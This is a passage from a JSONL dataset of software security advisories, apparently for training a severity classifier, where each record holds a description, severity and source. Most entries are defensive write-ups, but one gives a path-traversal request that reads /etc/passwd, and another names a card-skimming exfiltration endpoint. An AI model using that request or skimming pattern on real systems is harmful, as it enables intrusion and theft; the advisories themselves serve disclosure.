[#50508](https://github.com/tensorflow/tensorflow/pull/50508)).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, which is the other affected version.                                                                                                                                               \n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported externally via a [fixing PR](https://github.com/tensorflow/tensorflow/pull/50508).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "8a332150c89b348d69e3", "text": "Apache Ranger policy engine incorrectly matches paths in certain conditions\n\nApache Ranger before 0.6.3 policy engine incorrectly matches paths in certain conditions when policy does not contain wildcards and has recursion flag set to true.", "text_raw": "Apache Ranger policy engine incorrectly matches paths in certain conditions\n\n[Severity: MEDIUM]\n\nApache Ranger before 0.6.3 policy engine incorrectly matches paths in certain conditions when policy does not contain wildcards and has recursion flag set to true.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "ee6441ebe431b9f42b5a", "text": "Sony PC Companion 2.1 (CheckCompatibility()) Stack-based Unicode Buffer Overload", "text_raw": "Sony PC Companion 2.1 (CheckCompatibility()) Stack-based Unicode Buffer Overload\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2012-12-20", "split": "train"}
-{"id": "70b2ddcfe4878e21da84", "text": "Blind SQL injection in PrestaShop productcomments module\n\n### Impact\nAn attacker can use a Blind SQL injection to retrieve data or stop the MySQL service.\n\n### Patches\nThe problem is fixed in 4.2.1", "text_raw": "Blind SQL injection in PrestaShop productcomments module\n\n[Severity: LOW]\n\n### Impact\nAn attacker can use a Blind SQL injection to retrieve data or stop the MySQL service.\n\n### Patches\nThe problem is fixed in 4.2.1", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-01-20", "split": "train"}
-{"id": "da9a85967b352f9c0d0f", "text": "Uncontrolled resource consumption in validators Python package\n\nThe validators package 0.12.2 through 0.12.5 for Python enters an infinite loop when validators.domain is called with a crafted domain string. This is fixed in 0.12.6.", "text_raw": "Uncontrolled resource consumption in validators Python package\n\n[Severity: HIGH]\n\nThe validators package 0.12.2 through 0.12.5 for Python enters an infinite loop when validators.domain is called with a crafted domain string. This is fixed in 0.12.6.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-01-21", "split": "train"}
-{"id": "884795cee2e2a7f142fa", "text": "Sipwise C5 NGCP CSC Multiple Stored/Reflected XSS Vulnerabilities", "text_raw": "Sipwise C5 NGCP CSC Multiple Stored/Reflected XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2021-04-23", "split": "train"}
-{"id": "f4f2ae2e89f5bbd4cea1", "text": "SpinetiX Fusion Digital Signage 3.4.8 CSRF Add Admin Exploit", "text_raw": "SpinetiX Fusion Digital Signage 3.4.8 CSRF Add Admin Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2020-09-30", "split": "train"}
-{"id": "ab99b47f45cb8957dd0d", "text": "Cross site scripting in org.apache.nifi:nifi\n\nThe message-page.jsp error page used the value of the HTTP request header X-ProxyContextPath without sanitization, resulting in a reflected XSS attack. Mitigation: The fix to correctly parse and sanitize the request attribute value was applied on the Apache NiFi 1.8.0 release. Users running a prior 1.x release should upgrade to the appropriate release.", "text_raw": "Cross site scripting in org.apache.nifi:nifi\n\n[Severity: MEDIUM]\n\nThe message-page.jsp error page used the value of the HTTP request header X-ProxyContextPath without sanitization, resulting in a reflected XSS attack. Mitigation: The fix to correctly parse and sanitize the request attribute value was applied on the Apache NiFi 1.8.0 release. Users running a prior 1.x release should upgrade to the appropriate release.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-12-20", "split": "train"}
-{"id": "d0c95b30b2c476f94c7a", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1138, CVE-2019-1237, CVE-2019-1298, CVE-2019-1300.", "text_raw": "Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1138, CVE-2019-1237, CVE-2019-1298, CVE-2019-1300.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "7d43ab5a9bb7e36dbb26", "text": "Directory Traversal in startserver\n\nAll versions of package startserver are vulnerable to Directory Traversal due to missing sanitization.", "text_raw": "Directory Traversal in startserver\n\n[Severity: HIGH]\n\nAll versions of package startserver are vulnerable to Directory Traversal due to missing sanitization.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "43548e7cd0b16893b545", "text": "Template injection in thymeleaf-spring5\n\nIn the thymeleaf-spring5:3.0.12 component, thymeleaf combined with specific scenarios in template injection may lead to remote code execution.", "text_raw": "Template injection in thymeleaf-spring5\n\n[Severity: CRITICAL]\n\nIn the thymeleaf-spring5:3.0.12 component, thymeleaf combined with specific scenarios in template injection may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "363bd3caa59b85d4400b", "text": "Malicious Package in cal_rd\n\nVersion 0.1.1 of `rc_cal` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.", "text_raw": "Malicious Package in cal_rd\n\n[Severity: CRITICAL]\n\nVersion 0.1.1 of `rc_cal` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "f4515f5ac5e41a48e1eb", "text": "Downloads Resources over HTTP in libxl\n\nAffected versions of `libxl` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `libxl`.\n\n## Recommendation\n\nThe module author recommends installing the bindings using a pinned and verified version of SDK instead of the automated download. More information is available in the modules [README](https://www.npmjs.com/package/libxl).", "text_raw": "Downloads Resources over HTTP in libxl\n\n[Severity: HIGH]\n\nAffected versions of `libxl` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `libxl`.\n\n\n## Recommendation\n\nThe module author recommends installing the bindings using a pinned and verified version of SDK instead of the automated download. More information is available in the modules [README](https://www.npmjs.com/package/libxl).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "3d45e2708d69264eb277", "text": "SQL Injection in usmanhalalit/pixie\n\nPixie versions 1.0.x before 1.0.3, and 2.0.x before 2.0.2 allow SQL Injection in the limit() function due to improper sanitization.", "text_raw": "SQL Injection in usmanhalalit/pixie\n\n[Severity: CRITICAL]\n\nPixie versions 1.0.x before 1.0.3, and 2.0.x before 2.0.2 allow SQL Injection in the limit() function due to improper sanitization.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-11-20", "split": "train"}
-{"id": "b2ffd525914e4bea7668", "text": "Potential Command Injection in codem-transcode\n\nWhen the ffprobe functionality is enabled on the server, HTTP POST requests can be made to /probe. These requests are passed to the ffprobe binary on the server. Through this HTTP endpoint it is possible to send a malformed source file name to ffprobe that results in arbitrary command execution.\n\n### Mitigating Factors:\nThe ffprobe functionality is not enabled by default. In addition, exploitation opportunities are limited in a standard configuration because the server binds to the local interface by default.\n\n## Recommendation\n\nAn updated and patched version of the module (version 0.5.0) is available via npm. Users who have enabled the ffprobe functionality are especially encouraged to upgrade..", "text_raw": "Potential Command Injection in codem-transcode\n\n[Severity: HIGH]\n\nWhen the ffprobe functionality is enabled on the server, HTTP POST requests can be made to /probe. These requests are passed to the ffprobe binary on the server. Through this HTTP endpoint it is possible to send a malformed source file name to ffprobe that results in arbitrary command execution.\n\n### Mitigating Factors:\nThe ffprobe functionality is not enabled by default. In addition, exploitation opportunities are limited in a standard configuration because the server binds to the local interface by default.\n\n\n## Recommendation\n\nAn updated and patched version of the module (version 0.5.0) is available via npm. Users who have enabled the ffprobe functionality are especially encouraged to upgrade..", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-11-28", "split": "train"}
-{"id": "5ce602c125288062c845", "text": "Bouncy Castle has a flaw in the Low-level interface to RSA key pair generator\n\nBouncy Castle BC 1.54 - 1.59, BC-FJA 1.0.0, BC-FJA 1.0.1 and earlier have a flaw in the Low-level interface to RSA key pair generator, specifically RSA Key Pairs generated in low-level API with added certainty may have less M-R tests than expected. This appears to be fixed in versions BC 1.60 beta 4 and later, BC-FJA 1.0.2 and later.", "text_raw": "Bouncy Castle has a flaw in the Low-level interface to RSA key pair generator\n\n[Severity: HIGH]\n\nBouncy Castle BC 1.54 - 1.59, BC-FJA 1.0.0, BC-FJA 1.0.1 and earlier have a flaw in the Low-level interface to RSA key pair generator, specifically RSA Key Pairs generated in low-level API with added certainty may have less M-R tests than expected. This appears to be fixed in versions BC 1.60 beta 4 and later, BC-FJA 1.0.2 and later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "12a3c16977fe43ea9b66", "text": "NovaRad NovaPACS Diagnostics Viewer v8.5 OOB XXE File Disclosure", "text_raw": "NovaRad NovaPACS Diagnostics Viewer v8.5 OOB XXE File Disclosure\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2018-09-05", "split": "train"}
-{"id": "9021231f73362282cc1a", "text": "In Bouncy Castle JCE Provider ECDSA does not fully validate ASN.1 encoding of signature on verification\n\nIn the Bouncy Castle JCE Provider version 1.55 and earlier ECDSA does not fully validate ASN.1 encoding of signature on verification. It is possible to inject extra elements in the sequence making up the signature and still have it validate, which in some cases may allow the introduction of 'invisible' data into a signed structure.", "text_raw": "In Bouncy Castle JCE Provider ECDSA does not fully validate ASN.1 encoding of signature on verification\n\n[Severity: HIGH]\n\nIn the Bouncy Castle JCE Provider version 1.55 and earlier ECDSA does not fully validate ASN.1 encoding of signature on verification. It is possible to inject extra elements in the sequence making up the signature and still have it validate, which in some cases may allow the introduction of 'invisible' data into a signed structure.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "d80e74f73f815cde7612", "text": "Cross Site Scripting in Microweber\n\nCross Site Scripting (XSS). vulnerability exists in Microweber CMS 1.2.7 via the Login form, which could let a malicious user execute Javascript by Inserting code in the request form.", "text_raw": "Cross Site Scripting in Microweber\n\n[Severity: MEDIUM]\n\nCross Site Scripting (XSS). vulnerability exists in Microweber CMS 1.2.7 via the Login form, which could let a malicious user execute Javascript by Inserting code in the request form.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-25", "split": "train"}
-{"id": "bbfa97a694bd11c289d7", "text": "YAML deserialization can run untrusted code\n\n### Impact\n\nAn authorized user can upload a zip-format plugin with a crafted plugin.yaml, or a crafted aclpolicy yaml file, or upload an untrusted project archive with a crafted aclpolicy yaml file, that can cause the server to run untrusted code on Rundeck Community or Enterprise Edition.  An authenticated user can make a POST request, that can cause the server to run untrusted code on Rundeck Enterprise Edition.\n\nThe zip-format plugin issues requires authentication and authorization to these access levels, and affects all Rundeck editions:\n\n* `admin` level access to the `system` resource type\n\nThe ACL Policy yaml file upload issues requires authentication and authorization to these access levels, and affects all Rundeck editions:\n\n* `create` `update` or `admin` level access to a `project_acl` resource\n* `create` `update` or `admin` level access to the `system_acl` resource\n\nThe unauthorized POST request requires authentication, but no specific authorization, and affects Rundeck Enterprise only.\n\n### Patches\nVersions 3.4.3, 3.3.14\n\n### Workarounds\n\nPlease visit [https://rundeck.com/security](https://rundeck.com/security) for information about specific workarounds.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@rundeck.com](mailto:security@rundeck.com)\n\nTo report security issues to Rundeck please use the form at [https://rundeck.com/security](https://rundeck.com/security)\n\nReporter: Rojan Rijal from Tinder Red Team", "text_raw": "YAML deserialization can run untrusted code\n\n[Severity: MEDIUM]\n\n### Impact\n\nAn authorized user can upload a zip-format plugin with a crafted plugin.yaml, or a crafted aclpolicy yaml file, or upload an untrusted project archive with a crafted aclpolicy yaml file, that can cause the server to run untrusted code on Rundeck Community or Enterprise Edition.  An authenticated user can make a POST request, that can cause the server to run untrusted code on Rundeck Enterprise Edition.\n\nThe zip-format plugin issues requires authentication and authorization to these access levels, and affects all Rundeck editions:\n\n* `admin` level access to the `system` resource type\n\nThe ACL Policy yaml file upload issues requires authentication and authorization to these access levels, and affects all Rundeck editions: \n\n* `create` `update` or `admin` level access to a `project_acl` resource\n* `create` `update` or `admin` level access to the `system_acl` resource\n\nThe unauthorized POST request requires authentication, but no specific authorization, and affects Rundeck Enterprise only.\n\n### Patches\nVersions 3.4.3, 3.3.14\n\n### Workarounds\n\nPlease visit [https://rundeck.com/security](https://rundeck.com/security) for information about specific workarounds.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@rundeck.com](mailto:security@rundeck.com)\n\nTo report security issues to Rundeck please use the form at [https://rundeck.com/security](https://rundeck.com/security)\n\nReporter: Rojan Rijal from Tinder Red Team", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "eee9f5ad4626482fee1c", "text": "InfraPower PPS-02-S Q213V1 Multiple XSS Vulnerabilities", "text_raw": "InfraPower PPS-02-S Q213V1 Multiple XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-10-28", "split": "train"}
-{"id": "a8aa13df1597c4da6145", "text": "up.time 7.5.0 XSS And CSRF Add Admin Exploit", "text_raw": "up.time 7.5.0 XSS And CSRF Add Admin Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-08-19", "split": "train"}
-{"id": "bce2f32d1276c2baf35e", "text": "Memory leak in Tensorflow\n\n### Impact\nIf a user passes a list of strings to `dlpack.to_dlpack` there is a memory leak following an expected validation failure:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/c/eager/dlpack.cc#L100-L104\n\nThe allocated memory is from\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/c/eager/dlpack.cc#L256\n\nThe issue occurs because the `status` argument during validation failures is not properly checked:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/c/eager/dlpack.cc#L265-L267\n\nSince each of the above methods can return an error status, the `status` value must be checked before continuing.\n\n### Patches\nWe have patched the issue in 22e07fb204386768e5bcbea563641ea11f96ceb8 and will release a patch release for all affected versions.\n\nWe recommend users to upgrade to TensorFlow 2.2.1 or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been discovered during variant analysis of [GHSA-rjjg-hgv6-h69v](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-rjjg-hgv6-h69v).", "text_raw": "Memory leak in Tensorflow\n\n[Severity: MEDIUM]\n\n### Impact\nIf a user passes a list of strings to `dlpack.to_dlpack` there is a memory leak following an expected validation failure:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/c/eager/dlpack.cc#L100-L104\n\nThe allocated memory is from\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/c/eager/dlpack.cc#L256\n\nThe issue occurs because the `status` argument during validation failures is not properly checked:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/c/eager/dlpack.cc#L265-L267\n\nSince each of the above methods can return an error status, the `status` value must be checked before continuing.\n\n### Patches\nWe have patched the issue in 22e07fb204386768e5bcbea563641ea11f96ceb8 and will release a patch release for all affected versions.\n\nWe recommend users to upgrade to TensorFlow 2.2.1 or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been discovered during variant analysis of [GHSA-rjjg-hgv6-h69v](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-rjjg-hgv6-h69v).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-25", "split": "train"}
-{"id": "719d9fe71a06d0e55eae", "text": "Improper Verification of Cryptographic Signature in django-rest-registration\n\n## Misusing the Django Signer API leads to predictable signatures used in verification emails\n\n### Patches\nThe problem has been patched in version `0.5.0`. All library users should upgrade to version `0.5.0` or higher.\nThe fix will invalidate all previously generated signatures , and in consequence, all verification links in previously sent verification e-mails. Therefore semi-major version `0.5.0` was released instead of version `0.4.6` to mark that incompatibility.\n\n### Workarounds\nThe easiest way way is to disable the verification options by using something like the minimal configuration described [here](https://django-rest-registration.readthedocs.io/en/latest/quickstart.html#minimal-configuration). This will unfortunately disable checking whether the given e-mail is valid and make unable to users who registered an account but didn't verify it before config change.\n\nLess harsh way is to temporarily disable just the the reset password functionality:\n\n```python\nREST_REGISTRATION = {\n    # ...\n    'RESET_PASSWORD_VERIFICATION_ENABLED': False,\n    # ...\n}\n```\nWhich should disallow the worst case, which is account takeover by an attacker. The attacker can still use the register-email endpoint to change the email to its own (but it is less critical than resetting the password in this case).\n\nIf one already set `'RESET_PASSWORD_VERIFICATION_ONE_TIME_USE'` setting key to `True` in `REST_REGISTRATION` Django setting (which is not the default setting) then it should mitigate the security issue in case of password reset (in this case, the signature is much harder to guess by the attacker). But even in this case upgrade to newest version is highly recommended.\n\n### Technical description\nAfter the code [was refactored](https://github.com/apragacz/django-rest-registration/commit/b6d921e9decc9bb36a4c6d58bc607471aa824a2e) to use the [official Signer class](https://docs.djangoproject.com/en/dev/topics/signing/) the salt\nwas passed wrongly as secret key, replacing the `SECRET_KEY` set in\nDjango settings file. This leads to the Django `SECRET_KEY` not being used by the signer object. The secret key of the signer ends to be the salt which in most cases is a static string which is publicly available.\n\nIn consequence this allows, with verification enabled, to guess\nthe signature contained in the verification link (which is sent in a verification e-mail) by a potential attacker very easily.\n\nThe bug went unnoticed for very long time so multiple versions are affected:\nthis bug affects versions `0.2.*`, `0.3.*`, `0.4.*`; version `0.1.*` is not affected.\n\nRecently released version `0.5.0` contains the [fix](https://github.com/apragacz/django-rest-registration/commit/26d094fab65ea8c2694fdfb6a3ab95a7808b62d5) which correctly passes the salt to the Signer constructor as keyword argument instead as a positonal argument. It also contains additonal test so this problem should not reappear in the future.\n\n### Thanks\nI'd like to thank @peterthomassen from https://desec.io DNS security project for finding the bug. I'd like also to thank his employer, SSE (https://www.securesystems.de) for funding his work.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [GitHub issues project page](https://github.com/apragacz/django-rest-registration/issues)\n* Email @apragacz, author of the library", "text_raw": "Improper Verification of Cryptographic Signature in django-rest-registration\n\n[Severity: CRITICAL]\n\n## Misusing the Django Signer API leads to predictable signatures used in verification emails\n\n### Impact\nThe vulnerability is a high severity one. Anyone using Django REST Registration library versions `0.2.*` - `0.4.*` with e-mail verification option (which is recommended, but needs [additional configuration](https://django-rest-registration.readthedocs.io/en/latest/quickstart.html#preferred-configuration)) is affected.\nIn the worst case, the attacker can take over any Django user by resetting his/her password without even receiving the reset password verification link, just by guessing the signature from publicly available data (more detailed description below).\n\n### Patches\nThe problem has been patched in version `0.5.0`. All library users should upgrade to version `0.5.0` or higher.\nThe fix will invalidate all previously generated signatures , and in consequence, all verification links in previously sent verification e-mails. Therefore semi-major version `0.5.0` was released instead of version `0.4.6` to mark that incompatibility.\n\n### Workarounds\nThe easiest way way is to disable the verification options by using something like the minimal configuration described [here](https://django-rest-registration.readthedocs.io/en/latest/quickstart.html#minimal-configuration). This will unfortunately disable checking whether the given e-mail is valid and make unable to users who registered an account but didn't verify it before config change.\n\nLess harsh way is to temporarily disable just the the reset password functionality:\n\n```python\nREST_REGISTRATION = {\n    # ...\n    'RESET_PASSWORD_VERIFICATION_ENABLED': False,\n    # ...\n}\n```\nWhich should disallow the worst case, which is account takeover by an attacker. The attacker can still use the register-email endpoint to change the email to its own (but it is less critical than resetting the password in this case).\n\nIf one already set `'RESET_PASSWORD_VERIFICATION_ONE_TIME_USE'` setting key to `True` in `REST_REGISTRATION` Django setting (which is not the default setting) then it should mitigate the security issue in case of password reset (in this case, the signature is much harder to guess by the attacker). But even in this case upgrade to newest version is highly recommended.\n\n### Technical description\nAfter the code [was refactored](https://github.com/apragacz/django-rest-registration/commit/b6d921e9decc9bb36a4c6d58bc607471aa824a2e) to use the [official Signer class](https://docs.djangoproject.com/en/dev/topics/signing/) the salt\nwas passed wrongly as secret key, replacing the `SECRET_KEY` set in\nDjango settings file. This leads to the Django `SECRET_KEY` not being used by the signer object. The secret key of the signer ends to be the salt which in most cases is a static string which is publicly available.\n\nIn consequence this allows, with verification enabled, to guess\nthe signature contained in the verification link (which is sent in a verification e-mail) by a potential attacker very easily.\n\nThe bug went unnoticed for very long time so multiple versions are affected:\nthis bug affects versions `0.2.*`, `0.3.*`, `0.4.*`; version `0.1.*` is not affected.\n\nRecently released version `0.5.0` contains the [fix](https://github.com/apragacz/django-rest-registration/commit/26d094fab65ea8c2694fdfb6a3ab95a7808b62d5) which correctly passes the salt to the Signer constructor as keyword argument instead as a positonal argument. It also contains additonal test so this problem should not reappear in the future.\n\n### Thanks\nI'd like to thank @peterthomassen from https://desec.io DNS security project for finding the bug. I'd like also to thank his employer, SSE (https://www.securesystems.de) for funding his work.\n\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [GitHub issues project page](https://github.com/apragacz/django-rest-registration/issues)\n* Email @apragacz, author of the library ", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-07-02", "split": "train"}
-{"id": "dc26ce75174930c25d86", "text": "Cross site scripting that affects rails\n\nCross-site scripting (XSS) vulnerability in Ruby on Rails 2.x before 2.2.3, and 2.3.x before 2.3.4, allows remote attackers to inject arbitrary web script or HTML by placing malformed Unicode strings into a form helper.", "text_raw": "Cross site scripting that affects rails\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in Ruby on Rails 2.x before 2.2.3, and 2.3.x before 2.3.4, allows remote attackers to inject arbitrary web script or HTML by placing malformed Unicode strings into a form helper.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "05da8fd54efb6bf62410", "text": "Race condition in org.apache.hbase:hbase-thrift\n\nAn issue in Apache HBase affects the optional \"Thrift 1\" API server when running over HTTP. There is a race-condition which could lead to authenticated sessions being incorrectly applied to users, e.g. one authenticated user would be considered a different user or an unauthenticated user would be treated as an authenticated user. https://issues.apache.org/jira/browse/HBASE-20664 implements a fix for this issue. It has been fixed in versions: 1.2.6.1, 1.3.2.1, 1.4.5, 2.0.1.", "text_raw": "Race condition in org.apache.hbase:hbase-thrift\n\n[Severity: HIGH]\n\nAn issue in Apache HBase affects the optional \"Thrift 1\" API server when running over HTTP. There is a race-condition which could lead to authenticated sessions being incorrectly applied to users, e.g. one authenticated user would be considered a different user or an unauthenticated user would be treated as an authenticated user. https://issues.apache.org/jira/browse/HBASE-20664 implements a fix for this issue. It has been fixed in versions: 1.2.6.1, 1.3.2.1, 1.4.5, 2.0.1.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "cf95cc4c6974089515a3", "text": "Command injection in org.apache.tika:tika-core\n\nFrom Apache Tika versions 1.7 to 1.17, clients could send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients. The mitigation is to upgrade to Tika 1.18.", "text_raw": "Command injection in org.apache.tika:tika-core\n\n[Severity: HIGH]\n\nFrom Apache Tika versions 1.7 to 1.17, clients could send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients. The mitigation is to upgrade to Tika 1.18.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "e2a9e121d83a17ff88d0", "text": "Emby MediaServer 3.2.5 Reflected XSS Vulnerability", "text_raw": "Emby MediaServer 3.2.5 Reflected XSS Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2017-04-30", "split": "train"}
-{"id": "6eda18f8a801f988c74a", "text": "Miner fails to get block template when a cell used as a cell dep has been destroyed.\n\n### Impact\n\nThe RPC `get_block_template` fails when a cell has been used as a cell dep and an input in the different transactions.\n\nSay cell C is used as a dep group in the transaction A, and is destroyed in the transaction B.\n\nThe node adds transaction A first, then B into the transaction pool. They are both valid. But when generating the block template, if the fee rate of B is higher, it comes before A, which will invalidate A. Currently the RPC `get_block_template` will fail instead of dropping A.\n\n### Patch\n\nFirst, the `get_block_template` should not fail but dropping the conflict transactions.\n\nThen we can propose solution to this issue. Here is an example. When a transaction is added to the pool, the pool must consider it depending on all the transactions which dep cell (direct or indirect via dep group) has been destroyed in this transaction. Because future transactions using the destroyed cells as dep will be rejected, the spending transaction only need to wait for all the existing dep transactions on chain.\n\n### Workaround\n\n1. Submit transaction B when A is already on chain.\n2. Let B depend on A explicitly, there are several solutions:\n    * a. Add any output cell on A as a dep cell or input in B.\n    * b. Merge A and B. CKB allows using the same cell as both dep and input in the same transaction.\n3. Ensure the fee rate of B is less than A so A always has higher priority.", "text_raw": "Miner fails to get block template when a cell used as a cell dep has been destroyed.\n\n[Severity: HIGH]\n\n### Impact\n\nThe RPC `get_block_template` fails when a cell has been used as a cell dep and an input in the different transactions.\n\nSay cell C is used as a dep group in the transaction A, and is destroyed in the transaction B.\n\nThe node adds transaction A first, then B into the transaction pool. They are both valid. But when generating the block template, if the fee rate of B is higher, it comes before A, which will invalidate A. Currently the RPC `get_block_template` will fail instead of dropping A.\n\n### Patch\n\nFirst, the `get_block_template` should not fail but dropping the conflict transactions.\n\nThen we can propose solution to this issue. Here is an example. When a transaction is added to the pool, the pool must consider it depending on all the transactions which dep cell (direct or indirect via dep group) has been destroyed in this transaction. Because future transactions using the destroyed cells as dep will be rejected, the spending transaction only need to wait for all the existing dep transactions on chain.\n\n### Workaround\n\n1. Submit transaction B when A is already on chain.\n2. Let B depend on A explicitly, there are several solutions:\n    * a. Add any output cell on A as a dep cell or input in B.\n    * b. Merge A and B. CKB allows using the same cell as both dep and input in the same transaction.\n3. Ensure the fee rate of B is less than A so A always has higher priority.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "08ee5654d1801a5e3594", "text": "API information disclosure flaw in Elasticsearch\n\nElasticsearch versions before 7.11.2 and 6.8.15 contain a document disclosure flaw was found in the Elasticsearch suggester and profile API when Document and Field Level Security are enabled. The suggester and profile API are normally disabled for an index when document level security is enabled on the index. Certain queries are able to enable the profiler and suggester which could lead to disclosing the existence of documents and fields the attacker should not be able to view.", "text_raw": "API information disclosure flaw in Elasticsearch\n\n[Severity: MEDIUM]\n\nElasticsearch versions before 7.11.2 and 6.8.15 contain a document disclosure flaw was found in the Elasticsearch suggester and profile API when Document and Field Level Security are enabled. The suggester and profile API are normally disabled for an index when document level security is enabled on the index. Certain queries are able to enable the profiler and suggester which could lead to disclosing the existence of documents and fields the attacker should not be able to view.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-02", "split": "train"}
-{"id": "7c4e3adcd84e0d0843fd", "text": "Directory Traversal in simple-npm-registry\n\nAffected versions of `simple-npm-registry` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in simple-npm-registry\n\n[Severity: HIGH]\n\nAffected versions of `simple-npm-registry` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
